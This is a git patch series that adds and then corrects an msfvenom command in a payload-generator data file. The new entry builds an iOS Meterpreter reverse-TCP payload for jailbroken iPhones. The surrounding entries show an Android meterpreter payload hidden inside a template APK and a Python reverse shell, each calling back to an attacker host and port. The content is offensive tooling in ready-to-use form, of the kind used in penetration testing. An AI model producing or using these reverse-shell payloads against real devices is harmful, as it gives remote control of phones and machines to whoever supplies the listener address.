From e4aa07eae8722ae75428f49597c3dc7f77af5926 Mon Sep 17 00:00:00 2001 From: John Jackson <39013067+johnjhacking@users.noreply.github.com> Date: Sat, 4 Feb 2023 16:46:08 -0700 Subject: [PATCH 1/2] Adding Apple iOS Meterpreter payload A simple reverse TCP Inline payload that can be run on a jailbroken arm64 iPhone (5S+) --- js/data.js | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/js/data.js b/js/data.js index 64ded9d..a0ad9dc 100644 --- a/js/data.js +++ b/js/data.js @@ -453,6 +453,11 @@ const msfvenomCommands = withCommandType( "command": "msfvenom --platform android -x template-app.apk -p android/meterpreter/reverse_tcp lhost={ip} lport={port} -o payload.apk", "meta": ["msfvenom", "android", "android", "reverse"] }, + { + "name": "Apple iOS Meterpreter Reverse TCP Inline", + "command": "msfvenom -p apple_ios -p apple_ios/aarch64/meterpreter_reverse_tcp lhost={ip} lport={port} -f macho -o payload", + "meta": ["msfvenom", "apple_ios", "apple_ios", "reverse"] + }, { "name": "Python Stageless Reverse TCP", "command": "msfvenom -p cmd/unix/reverse_python LHOST={ip} LPORT={port} -f raw", From 09e9c4ae5029f8f3cdc70bc0515badfefdcdcb0f Mon Sep 17 00:00:00 2001 From: John Jackson <39013067+johnjhacking@users.noreply.github.com> Date: Sat, 4 Feb 2023 16:50:43 -0700 Subject: [PATCH 2/2] Changed -p to --platform Redundant -p, meant to use --platform first. --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index a0ad9dc..7cb152f 100644 --- a/js/data.js +++ b/js/data.js @@ -455,7 +455,7 @@ const msfvenomCommands = withCommandType( }, { "name": "Apple iOS Meterpreter Reverse TCP Inline", - "command": "msfvenom -p apple_ios -p apple_ios/aarch64/meterpreter_reverse_tcp lhost={ip} lport={port} -f macho -o payload", + "command": "msfvenom --platform apple_ios -p apple_ios/aarch64/meterpreter_reverse_tcp lhost={ip} lport={port} -f macho -o payload", "meta": ["msfvenom", "apple_ios", "apple_ios", "reverse"] }, {